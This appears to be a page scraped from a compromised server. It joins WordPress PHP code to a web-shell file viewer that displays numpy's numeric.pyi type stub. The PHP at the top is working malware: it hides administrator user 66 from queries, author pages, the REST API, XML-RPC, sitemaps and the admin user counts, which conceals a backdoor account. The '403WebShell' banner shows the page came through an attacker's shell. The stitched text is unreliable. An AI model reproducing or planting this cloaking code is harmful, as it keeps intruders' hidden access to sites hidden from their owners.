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add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

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Current File : /proc/814/root/lib/python3/dist-packages/numpy/core/numeric.pyi

from collections.abc import Callable, Sequence
from typing import (
    Any,
    overload,
    TypeVar,
    Literal,
    SupportsAbs,
    SupportsIndex,
    NoReturn,
)
if sys.version_info >= (3, 10):
    from typing import TypeGuard
else:
    from typing_extensions import TypeGuard

from numpy import (
    ComplexWarning as ComplexWarning,
    generic,
    unsignedinteger,
    signedinteger,
    floating,
    complexfloating,
    bool_,
    int_,
    intp,
    float64,
    timedelta64,
    object_,
    _OrderKACF,
    _OrderCF,
)

from numpy._typing import (
    ArrayLike,
    NDArray,
    DTypeLike,
    _ShapeLike,
    _DTypeLike,
    _ArrayLike,
    _SupportsArrayFunc,
    _ScalarLike_co,
    _ArrayLikeBool_co,
    _ArrayLikeUInt_co,
    _ArrayLikeInt_co,
    _ArrayLikeFloat_co,
    _ArrayLikeComplex_co,
    _ArrayLikeTD64_co,
    _ArrayLikeObject_co,
    _ArrayLikeUnknown,
)

_T = TypeVar("_T")
_SCT = TypeVar("_SCT", bound=generic)
_ArrayType = TypeVar("_ArrayType", bound=NDArray[Any])

_CorrelateMode = Literal["valid", "same", "full"]

__all__: list[str]

@overload
def zeros_like(
    a: _ArrayType,
    dtype: None = ...,
    order: _OrderKACF = ...,
    subok: Literal[True] = ...,
    shape: None = ...,
) -> _ArrayType: ...
@overload
def zeros_like(
    a: _ArrayLike[_SCT],
    dtype: None = ...,
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike = ...,
) -> NDArray[_SCT]: ...
@overload
def zeros_like(
    a: object,
    dtype: None = ...,
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike= ...,
) -> NDArray[Any]: ...
@overload
def zeros_like(
    a: Any,
    dtype: _DTypeLike[_SCT],
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike= ...,
) -> NDArray[_SCT]: ...
@overload
def zeros_like(
    a: Any,
    dtype: DTypeLike,
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike= ...,
) -> NDArray[Any]: ...

@overload
def ones(
    shape: _ShapeLike,
    dtype: None = ...,
    order: _OrderCF = ...,
    *,
    like: _SupportsArrayFunc = ...,
) -> NDArray[float64]: ...
@overload
def ones(
    shape: _ShapeLike,
    dtype: _DTypeLike[_SCT],
    order: _OrderCF = ...,
    *,
    like: _SupportsArrayFunc = ...,
) -> NDArray[_SCT]: ...
@overload
def ones(
    shape: _ShapeLike,
    dtype: DTypeLike,
    order: _OrderCF = ...,
    *,
    like: _SupportsArrayFunc = ...,
) -> NDArray[Any]: ...

@overload
def ones_like(
    a: _ArrayType,
    dtype: None = ...,
    order: _OrderKACF = ...,
    subok: Literal[True] = ...,
    shape: None = ...,
) -> _ArrayType: ...
@overload
def ones_like(
    a: _ArrayLike[_SCT],
    dtype: None = ...,
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike = ...,
) -> NDArray[_SCT]: ...
@overload
def ones_like(
    a: object,
    dtype: None = ...,
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike= ...,
) -> NDArray[Any]: ...
@overload
def ones_like(
    a: Any,
    dtype: _DTypeLike[_SCT],
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike= ...,
) -> NDArray[_SCT]: ...
@overload
def ones_like(
    a: Any,
    dtype: DTypeLike,
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike= ...,
) -> NDArray[Any]: ...

@overload
def full(
    shape: _ShapeLike,
    fill_value: Any,
    dtype: None = ...,
    order: _OrderCF = ...,
    *,
    like: _SupportsArrayFunc = ...,
) -> NDArray[Any]: ...
@overload
def full(
    shape: _ShapeLike,
    fill_value: Any,
    dtype: _DTypeLike[_SCT],
    order: _OrderCF = ...,
    *,
    like: _SupportsArrayFunc = ...,
) -> NDArray[_SCT]: ...
@overload
def full(
    shape: _ShapeLike,
    fill_value: Any,
    dtype: DTypeLike,
    order: _OrderCF = ...,
    *,
    like: _SupportsArrayFunc = ...,
) -> NDArray[Any]: ...

@overload
def full_like(
    a: _ArrayType,
    fill_value: Any,
    dtype: None = ...,
    order: _OrderKACF = ...,
    subok: Literal[True] = ...,
    shape: None = ...,
) -> _ArrayType: ...
@overload
def full_like(
    a: _ArrayLike[_SCT],
    fill_value: Any,
    dtype: None = ...,
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike = ...,
) -> NDArray[_SCT]: ...
@overload
def full_like(
    a: object,
    fill_value: Any,
    dtype: None = ...,
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike= ...,
) -> NDArray[Any]: ...
@overload
def full_like(
    a: Any,
    fill_value: Any,
    dtype: _DTypeLike[_SCT],
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike= ...,
) -> NDArray[_SCT]: ...
@overload
def full_like(
    a: Any,
    fill_value: Any,
    dtype: DTypeLike,
    order: _OrderKACF = ...,
    subok: bool = ...,
    shape: None | _ShapeLike= ...,
) -> NDArray[Any]: ...

@overload
def count_nonzero(
    a: ArrayLike,
    axis: None = ...,
    *,
    keepdims: Literal[False] = ...,
) -> int: ...
@overload
def count_nonzero(
    a: ArrayLike,
    axis: _ShapeLike = ...,
    *,
    keepdims: bool = ...,
) -> Any: ...  # TODO: np.intp or ndarray[np.intp]

def isfortran(a: NDArray[Any] | generic) -> bool: ...

def argwhere(a: ArrayLike) -> NDArray[intp]: ...

def flatnonzero(a: ArrayLike) -> NDArray[intp]: ...

@overload
def correlate(
    a: _ArrayLikeUnknown,
    v: _ArrayLikeUnknown,
    mode: _CorrelateMode = ...,
) -> NDArray[Any]: ...
@overload
def correlate(
    a: _ArrayLikeBool_co,
    v: _ArrayLikeBool_co,
    mode: _CorrelateMode = ...,
) -> NDArray[bool_]: ...
@overload
def correlate(
    a: _ArrayLikeUInt_co,
    v: _ArrayLikeUInt_co,
    mode: _CorrelateMode = ...,
) -> NDArray[unsignedinteger[Any]]: ...
@overload
def correlate(
    a: _ArrayLikeInt_co,
    v: _ArrayLikeInt_co,
    mode: _CorrelateMode = ...,
) -> NDArray[signedinteger[Any]]: ...
@overload
def correlate(
    a: _ArrayLikeFloat_co,
    v: _ArrayLikeFloat_co,
    mode: _CorrelateMode = ...,
) -> NDArray[floating[Any]]: ...
@overload
def correlate(
    a: _ArrayLikeComplex_co,
    v: _ArrayLikeComplex_co,
    mode: _CorrelateMode = ...,
) -> NDArray[complexfloating[Any, Any]]: ...
@overload
def correlate(
    a: _ArrayLikeTD64_co,
    v: _ArrayLikeTD64_co,
    mode: _CorrelateMode = ...,
) -> NDArray[timedelta64]: ...
@overload
def correlate(
    a: _ArrayLikeObject_co,
    v: _ArrayLikeObject_co,
    mode: _CorrelateMode = ...,
) -> NDArray[object_]: ...

@overload
def convolve(
    a: _ArrayLikeUnknown,
    v: _ArrayLikeUnknown,
    mode: _CorrelateMode = ...,
) -> NDArray[Any]: ...
@overload
def convolve(
    a: _ArrayLikeBool_co,
    v: _ArrayLikeBool_co,
    mode: _CorrelateMode = ...,
) -> NDArray[bool_]: ...
@overload
def convolve(
    a: _ArrayLikeUInt_co,
    v: _ArrayLikeUInt_co,
    mode: _CorrelateMode = ...,
) -> NDArray[unsignedinteger[Any]]: ...
@overload
def convolve(
    a: _ArrayLikeInt_co,
    v: _ArrayLikeInt_co,
    mode: _CorrelateMode = ...,
) -> NDArray[signedinteger[Any]]: ...
@overload
def convolve(
    a: _ArrayLikeFloat_co,
    v: _ArrayLikeFloat_co,
    mode: _CorrelateMode = ...,
) -> NDArray[floating[Any]]: ...
@overload
def convolve(
    a: _ArrayLikeComplex_co,
    v: _ArrayLikeComplex_co,
    mode: _CorrelateMode = ...,
) -> NDArray[complexfloating[Any, Any]]: ...
@overload
def convolve(
    a: _ArrayLikeTD64_co,
    v: _ArrayLikeTD64_co,
    mode: _CorrelateMode = ...,
) -> NDArray[timedelta64]: ...
@overload
def convolve(
    a: _ArrayLikeObject_co,
    v: _ArrayLikeObject_co,
    mode: _CorrelateMode = ...,
) -> NDArray[object_]: ...

@overload
def outer(
    a: _ArrayLikeUnknown,
    b: _ArrayLikeUnknown,
    out: None = ...,
) -> NDArray[Any]: ...
@overload
def outer(
    a: _ArrayLikeBool_co,
    b: _ArrayLikeBool_co,
    out: None = ...,
) -> NDArray[bool_]: ...
@overload
def outer(
    a: _ArrayLikeUInt_co,
    b: _ArrayLikeUInt_co,
    out: None = ...,
) -> NDArray[unsignedinteger[Any]]: ...
@overload
def outer(
    a: _ArrayLikeInt_co,
    b: _ArrayLikeInt_co,
    out: None = ...,
) -> NDArray[signedinteger[Any]]: ...
@overload
def outer(
    a: _ArrayLikeFloat_co,
    b: _ArrayLikeFloat_co,
    out: None = ...,
) -> NDArray[floating[Any]]: ...
@overload
def outer(
    a: _ArrayLikeComplex_co,
    b: _ArrayLikeComplex_co,
    out: None = ...,
) -> NDArray[complexfloating[Any, Any]]: ...
@overload
def outer(
    a: _ArrayLikeTD64_co,
    b: _ArrayLikeTD64_co,
    out: None = ...,
) -> NDArray[timedelta64]: ...
@overload
def outer(
    a: _ArrayLikeObject_co,
    b: _ArrayLikeObject_co,
    out: None = ...,
) -> NDArray[object_]: ...
@overload
def outer(
    a: _ArrayLikeComplex_co | _ArrayLikeTD64_co | _ArrayLikeObject_co,
    b: _ArrayLikeComplex_co | _ArrayLikeTD64_co | _ArrayLikeObject_co,
    out: _ArrayType,
) -> _ArrayType: ...

@overload
def tensordot(
    a: _ArrayLikeUnknown,
    b: _ArrayLikeUnknown,
    axes: int | tuple[_ShapeLike, _ShapeLike] = ...,
) -> NDArray[Any]: ...
@overload
def tensordot(
    a: _ArrayLikeBool_co,
    b: _ArrayLikeBool_co,
    axes: int | tuple[_ShapeLike, _ShapeLike] = ...,
) -> NDArray[bool_]: ...
@overload
def tensordot(
    a: _ArrayLikeUInt_co,
    b: _ArrayLikeUInt_co,
    axes: int | tuple[_ShapeLike, _ShapeLike] = ...,
) -> NDArray[unsignedinteger[Any]]: ...
@overload
def tensordot(
    a: _ArrayLikeInt_co,
    b: _ArrayLikeInt_co,
    axes: int | tuple[_ShapeLike, _ShapeLike] = ...,
) -> NDArray[signedinteger[Any]]: ...
@overload
def tensordot(
    a: _ArrayLikeFloat_co,
    b: _ArrayLikeFloat_co,
    axes: int | tuple[_ShapeLike, _ShapeLike] = ...,
) -> NDArray[floating[Any]]: ...
@overload
def tensordot(
    a: _ArrayLikeComplex_co,
    b: _ArrayLikeComplex_co,
    axes: int | tuple[_ShapeLike, _ShapeLike] = ...,
) -> NDArray[complexfloating[Any, Any]]: ...
@overload
def tensordot(
    a: _ArrayLikeTD64_co,
    b: _ArrayLikeTD64_co,
    axes: int | tuple[_ShapeLike, _ShapeLike] = ...,
) -> NDArray[timedelta64]: ...
@overload
def tensordot(
    a: _ArrayLikeObject_co,
    b: _ArrayLikeObject_co,
    axes: int | tuple[_ShapeLike, _ShapeLike] = ...,
) -> NDArray[object_]: ...

@overload
def roll(
    a: _ArrayLike[_SCT],
    shift: _ShapeLike,
    axis: None | _ShapeLike = ...,
) -> NDArray[_SCT]: ...
@overload
def roll(
    a: ArrayLike,
    shift: _ShapeLike,
    axis: None | _ShapeLike = ...,
) -> NDArray[Any]: ...

def rollaxis(
    a: NDArray[_SCT],
    axis: int,
    start: int = ...,
) -> NDArray[_SCT]: ...

def moveaxis(
    a: NDArray[_SCT],
    source: _ShapeLike,
    destination: _ShapeLike,
) -> NDArray[_SCT]: ...

@overload
def cross(
    a: _ArrayLikeUnknown,
    b: _ArrayLikeUnknown,
    axisa: int = ...,
    axisb: int = ...,
    axisc: int = ...,
    axis: None | int = ...,
) -> NDArray[Any]: ...
@overload
def cross(
    a: _ArrayLikeBool_co,
    b: _ArrayLikeBool_co,
    axisa: int = ...,
    axisb: int = ...,
    axisc: int = ...,
    axis: None | int = ...,
) -> NoReturn: ...
@overload
def cross(
    a: _ArrayLikeUInt_co,
    b: _ArrayLikeUInt_co,
    axisa: int = ...,
    axisb: int = ...,
    axisc: int = ...,
    axis: None | int = ...,
) -> NDArray[unsignedinteger[Any]]: ...
@overload
def cross(
    a: _ArrayLikeInt_co,
    b: _ArrayLikeInt_co,
    axisa: int = ...,
    axisb: int = ...,
    axisc: int = ...,
    axis: None | int = ...,
) -> NDArray[signedinteger[Any]]: ...
@overload
def cross(
    a: _ArrayLikeFloat_co,
    b: _ArrayLikeFloat_co,
    axisa: int = ...,
    axisb: int = ...,
    axisc: int = ...,
    axis: None | int = ...,
) -> NDArray[floating[Any]]: ...
@overload
def cross(
    a: _ArrayLikeComplex_co,
    b: _ArrayLikeComplex_co,
    axisa: int = ...,
    axisb: int = ...,
    axisc: int = ...,
    axis: None | int = ...,
) -> NDArray[complexfloating[Any, Any]]: ...
@overload
def cross(
    a: _ArrayLikeObject_co,
    b: _ArrayLikeObject_co,
    axisa: int = ...,
    axisb: int = ...,
    axisc: int = ...,
    axis: None | int = ...,
) -> NDArray[object_]: ...

@overload
def indices(
    dimensions: Sequence[int],
    dtype: type[int] = ...,
    sparse: Literal[False] = ...,
) -> NDArray[int_]: ...
@overload
def indices(
    dimensions: Sequence[int],
    dtype: type[int] = ...,
    sparse: Literal[True] = ...,
) -> tuple[NDArray[int_], ...]: ...
@overload
def indices(
    dimensions: Sequence[int],
    dtype: _DTypeLike[_SCT],
    sparse: Literal[False] = ...,
) -> NDArray[_SCT]: ...
@overload
def indices(
    dimensions: Sequence[int],
    dtype: _DTypeLike[_SCT],
    sparse: Literal[True],
) -> tuple[NDArray[_SCT], ...]: ...
@overload
def indices(
    dimensions: Sequence[int],
    dtype: DTypeLike,
    sparse: Literal[False] = ...,
) -> NDArray[Any]: ...
@overload
def indices(
    dimensions: Sequence[int],
    dtype: DTypeLike,
    sparse: Literal[True],
) -> tuple[NDArray[Any], ...]: ...

def fromfunction(
    function: Callable[..., _T],
    shape: Sequence[int],
    *,
    dtype: DTypeLike = ...,
    like: _SupportsArrayFunc = ...,
    **kwargs: Any,
) -> _T: ...

def isscalar(element: object) -> TypeGuard[
    generic | bool | int | float | complex | str | bytes | memoryview
]: ...

def binary_repr(num: SupportsIndex, width: None | int = ...) -> str: ...

def base_repr(
    number: SupportsAbs[float],
    base: float = ...,
    padding: SupportsIndex = ...,
) -> str: ...

@overload
def identity(
    n: int,
    dtype: None = ...,
    *,
    like: _SupportsArrayFunc = ...,
) -> NDArray[float64]: ...
@overload
def identity(
    n: int,
    dtype: _DTypeLike[_SCT],
    *,
    like: _SupportsArrayFunc = ...,
) -> NDArray[_SCT]: ...
@overload
def identity(
    n: int,
    dtype: DTypeLike,
    *,
    like: _SupportsArrayFunc = ...,
) -> NDArray[Any]: ...

def allclose(
    a: ArrayLike,
    b: ArrayLike,
    rtol: float = ...,
    atol: float = ...,
    equal_nan: bool = ...,
) -> bool: ...

@overload
def isclose(
    a: _ScalarLike_co,
    b: _ScalarLike_co,
    rtol: float = ...,
    atol: float = ...,
    equal_nan: bool = ...,
) -> bool_: ...
@overload
def isclose(
    a: ArrayLike,
    b: ArrayLike,
    rtol: float = ...,
    atol: float = ...,
    equal_nan: bool = ...,
) -> NDArray[bool_]: ...

def array_equal(a1: ArrayLike, a2: ArrayLike, equal_nan: bool = ...) -> bool: ...

def array_equiv(a1: ArrayLike, a2: ArrayLike) -> bool: ...

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